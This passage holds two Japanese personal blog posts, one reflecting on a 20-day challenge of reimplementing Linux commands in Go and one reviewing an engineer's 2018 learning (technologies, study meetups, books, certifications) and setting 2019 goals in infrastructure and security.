user,group操作windowsで確認不可176/8mygrep〇△grepの操作goの正規表現186/9mysleep〇△ 196/10mymkdir〇△ 206/11myln〇△リンクの操作 成果Goの構文や記法に慣れてきたGo標準パッケージの使い方、調べ方を覚えたLinuxコマンドの動作を知ることができた 感想20日も書けば、ある程度書けるようになることがわかりました。普段使用するC#とGoが似ている点も覚えやすかったのだと思います。次はGoでAPIを作成してみようと考えています。

【20日チャレンジ】LinuxコマンドをGoで実装

2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。2018年の活動2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。新たに触れた技術・ツールGitHubNode.jsAngularGolangCentOSDockerKubernetesAzureGCPOWASP ZAPLINE BOT/ClovaAgileペアプログラミング/モブプログラミング勉強会・カンファレンスLINE Developer Meetupde:code 2018Azureもくもく会ng-japan 2018SQL Server 2017勉強会Interact 2018CCSE 2018Think Japan IBM Code DayJXUG XamarinハンズオンCosmos DBハンズオンくじらや DockerハンズオンLINE Clovaスキル開発ハンズオンLINE BOOT AWARDS 2018 ハッカソンGDG DevFest Tokyo 2018XP祭りAzureML勉強会BIT VALLEY 2018.NET Conf 2018Container SIG Meet-upテスト管理を語る夕べAVTOKYOアジャイル相談室OSSセキュリティ技術の会Japan Container Days※Japan Container Daysはスタッフとして参加させてもらいました。書籍読了徹底攻略 データベーススペシャリスト教科書徹底攻略 ネットワークスペシャリスト教科書ショートコードプログラミング 第3版新装版 達人プログラマーSQLアンチパターンインフラエンジニアの教科書2プログラマのためのDocker教科書 第2版Docker/Kubernetes 実践コンテナ開発入門読みかけ体系的に学ぶ 安全なWebアプリケーションの作り方 第2版社内の活動技術交流、コミュニケーション促進のためチャンネルを開設社内勉強会を主催モブプログラミング・ペアプログラミングを開始資格合格データベーススペシャリスト不合格ネットワークスペシャリスト午後Ⅰが1点足りず…その他はてなブログを開設Qiitaアドベントカレンダーに参加2019年の目標7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。書籍体系的に学ぶ 安全なWebアプリケーションの作り方 第2版Kubernetes完全ガイドハッカーの学校テスト駆動開発徹底マスター JavaScriptの教科書ドメイン駆動設計ハッキング・ラボのつくりかた資格LPIC Level1情報処理安全確保支援士ネットワークスペシャリスト